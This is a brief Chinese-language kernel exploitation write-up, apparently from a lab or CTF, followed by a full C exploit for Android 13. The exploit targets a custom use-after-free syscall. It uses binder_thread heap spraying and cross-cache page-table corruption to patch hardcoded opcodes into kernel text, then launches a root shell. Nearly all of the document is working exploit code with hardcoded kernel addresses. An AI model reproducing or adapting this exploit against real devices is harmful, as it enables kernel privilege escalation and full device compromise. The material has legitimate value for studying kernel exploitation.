最终执行commit_creds和prepare_kernel_creds组成的提权代码,注意安卓内核中prepare_kernel_creds()变成了无参数,从当前cred复制一份,需要手动添加修改uid的代码;同时BL跳转指令跟偏移有关,直接在ida中patch代码,然后将字节码复制出来
android12
略
android13
exp
利用binder_thread堆喷 cross-cache打页表,patch sys_uaf的代码
#define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/user.h> #include <sys/wait.h> #include <unistd.h> #include <string.h> #include <stddef.h> #include <sys/syscall.h> #define COLOR_RED "\033[1;31m" #define COLOR_GREEN "\033[1;32m" #define COLOR_RESET "\033[0m" #define INFO(format, ...) do { \ printf("%s[%s]: ", COLOR_GREEN, "log"); \ printf(format, ##__VA_ARGS__); \ printf("%s\n", COLOR_RESET); \ } while(0) void err_exit(char *buf){ fprintf(stderr, "%s[error]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET); exit(-1); } static inline void check_ret(int ret,char *msg) { if (ret) { err_exit(msg); } } #define PAGE_SIZE 0X1000 #define __NR_uaf 602 #define BUFSZ 256 #define NEW 0 #define DEL 1 #define SHOW 2 #define EDIT 3 struct st1{ char name[BUFSZ]; char str[128]; }; void New(size_t idx){ size_t option = (((idx<<8) & 0xff00) | NEW ); int fnc_ret = syscall(__NR_uaf,NULL,0,option); check_ret(fnc_ret<0,"syscall new fail"); } void Del(size_t idx){ size_t option = (((idx<<8) & 0xff00) | DEL ); int fnc_ret = syscall(__NR_uaf,NULL,0,option); check_ret(fnc_ret<0,"syscall del fail"); } void Show(size_t idx, char *buffer, size_t length){ size_t option = (((idx<<8) & 0xff00) | SHOW ); int fnc_ret = syscall(__NR_uaf,buffer,length,option); check_ret(fnc_ret<0,"syscall show fail"); } void Edit(size_t idx,char *buffer,size_t length){ size_t option = (((idx<<8) & 0xff00) | EDIT ); int fnc_ret = syscall(__NR_uaf,buffer,length,option); check_ret(fnc_ret<0,"syscall edit fail"); } #define BINDER_THREAD_DRAIN_NUM 200 void BindCpu(int core){ cpu_set_t set; CPU_ZERO(&set); CPU_SET(core, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(EXIT_FAILURE); } } int GetMemFileFd(char * mem_file_name,size_t page_nr){ int memfd=memfd_create("io_register_buf",MFD_CLOEXEC); check_ret(memfd<0,"memfd_create fail"); check_ret(fallocate(memfd, 0, 0, page_nr * PAGE_SIZE),"fallocate fail"); return memfd; } void SysToString(int idx_max){ char buf[0x100]; memset(buf,0,0x100); for(int i=0;i<=idx_max;i++){ Show(i,buf,8); INFO("syscal %d-heap content:0x%llx", i, (long long)*(size_t *)buf); } } int OpenBinder(){ int fd=open("/dev/binder", O_RDONLY); check_ret(fd<0,"open binder fail"); return fd; } int OpenEpoll(){ int epfd= epoll_create(1); check_ret(epfd<0,"epoll_create fail"); return epfd; } void EpollCtl(int epfd,int io_fd,uint32_t cmd,uint32_t io_type){ struct epoll_event epe={ .events=io_type }; int ret=epoll_ctl(epfd,cmd,io_fd,&epe); check_ret(ret<0,"epoll_ctl"); } #define PIPE_NUM 8 #define BUFF_NUM 100 int initSocketArray(int sk_socket[][2],int socker_nr) { /* socket pairs to spray sk_buff */ for (int i = 0; i < socker_nr; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) { printf("[x] failed to create no socket pair!\n"); err_exit("[x] failed to create no. socket pair!"); return -1; } } return 0; } void OneObjToString(int idx){ char buf[0x100]; memset(buf,0,0x100); Show(idx,buf,0x100); for(int i=0;i<0x100/8;i++){ INFO("idx: %d content:0x%llx", idx, (long long )*(size_t *)(buf+i*8)); } } int JudgeIsPageTable(int idx_max){ char buf[0x100]; memset(buf,0,0x100); for(int i=0;i<=idx_max;i++){ Show(i,buf,0x20); for(int j=0;j<0x20/8;j++){ INFO("idx: %d content:0x%llx",i,(long long)*(size_t *)(buf+j*8)); size_t value=(*(size_t *)(buf+j*8))&0xfff; if(value==0xf43){ INFO("find page table entry"); return i; } } } return -1; } #define N_PAGESPRAY 300 int MemfdCreate(char *file_name,size_t size){ int memfd=memfd_create(file_name,MFD_CLOEXEC); check_ret(memfd<0,"memfd_create fail"); check_ret(fallocate(memfd, 0, 0, size),"fallocate fail"); return memfd; } size_t addr = 0xf000000UL; void SprayPageTableByMemfd(void *page_spray[N_PAGESPRAY][8],int fd){ for(int i=0;i<N_PAGESPRAY;i++){ for (int j = 0; j < 8; j++){ page_spray[i][j] = mmap((void*)(addr +i*0x200000UL +j*64*0x1000UL), 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_SHARED, fd, 0); check_ret(page_spray[i][j] == MAP_FAILED,"mmap fail"); *(char *)(page_spray[i][j] )='a'; } } // addr=(size_t)page_spray[N_PAGESPRAY-1][8-1]+0x1000; } void MemmuPageTable(void *page_spray[N_PAGESPRAY][8]){ for(int i=0;i<N_PAGESPRAY;i++){ for(int j=0;j<8;j++){ int ret=munmap(page_spray[i][j],0x1000); check_ret(ret<0,"munmap fail"); page_spray[i][j]=NULL; } } } #define SOCKET_DRAIN_NUM 10 #define BINDER_THREAD_SPRAY_NUM 600 void SprayBinderThreadToDrain(){ int binder_fd[BINDER_THREAD_DRAIN_NUM]; int epfd; // INFO("create epoll"); epfd=OpenEpoll(); // INFO("create binder"); for(int i=0;i<BINDER_THREAD_DRAIN_NUM;i++){ binder_fd[i]=OpenBinder(); } for(int i=0;i<BINDER_THREAD_DRAIN_NUM;i++){ EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); } } int main(){ sleep(15); BindCpu(0); // SprayBinderThreadToDrain(); int epfd; int binder_fd[BINDER_THREAD_SPRAY_NUM]; int memfd; void *page_spray[N_PAGESPRAY][8]; char buf[0x100]; memset(buf,'a',0x100); INFO("create epoll"); epfd=OpenEpoll(); INFO("create binder"); for(int i=0;i<BINDER_THREAD_SPRAY_NUM;i++){ binder_fd[i]=OpenBinder(); } memfd = MemfdCreate("spray_pagetable",PAGE_SIZE); INFO("link binder_thread to epoll"); for(int i=0;i<BINDER_THREAD_SPRAY_NUM/2;i++){ EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); } for(int i=0;i<=20;i++){ New(i); Edit(i,buf,0x100); } for(int i=BINDER_THREAD_SPRAY_NUM/2;i<BINDER_THREAD_SPRAY_NUM;i++){ EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); } for(int i=0;i<=20;i++){ Del(i); } SysToString(20); // INFO("getchar"); // getchar(); INFO("free..."); for(int i=0;i<BINDER_THREAD_SPRAY_NUM;i++){ EpollCtl(epfd,binder_fd[i],EPOLL_CTL_DEL,EPOLLIN); close(binder_fd[i]); } close(epfd); INFO("begin to find page table"); int ret; while (1) { INFO("spray...................................................."); SprayPageTableByMemfd(page_spray,memfd); ret = JudgeIsPageTable(20); if(ret!=-1){ break; } MemmuPageTable(page_spray); } size_t victim_vir_addr = 0xFFFFFFC008188780; size_t phy_base = 0x40200000; size_t vir_base = 0xffffffc008000000; size_t victim_phy_addr = 0xe800000040388f43; Edit(ret, (char*)&victim_phy_addr, 8); int victim_page_idx_i; int victim_page_idx_j; for(int i=0;i<N_PAGESPRAY;i++){ for(int j=0; j<8; j++){ if (*(char *)(page_spray[i][j])!='a'){ INFO("found1: 0x%llx", (long long)page_spray[i][j]); INFO("found2: %llx", (long long)*(size_t*)page_spray[i][j]); victim_page_idx_i = i; victim_page_idx_j = j; break; } } } unsigned char code_data[17] = { 0x08, 0xE6, 0xFF, 0x97, 0x1F, 0x04, 0x00, 0xB9, 0x40, 0xE8, 0xFF, 0x97, 0x1F, 0x20, 0x03, 0xD5 }; memcpy((char*)page_spray[victim_page_idx_i][victim_page_idx_j]+0x7AC, code_data, 16); INFO("getchar"); getchar(); Del(0); INFO("uid: %d\n", getuid()); system("/bin/sh"); // #define __sys_setresuid_phy_base 0x000000004035e1b8 // # 40 01 00 54 EQ // # 41 01 00 54 NE // # 0xFFFFFFC00815E37C // # 0xFFFFFFC00815E3A8 // # 0xFFFFFFC00815E3D4 }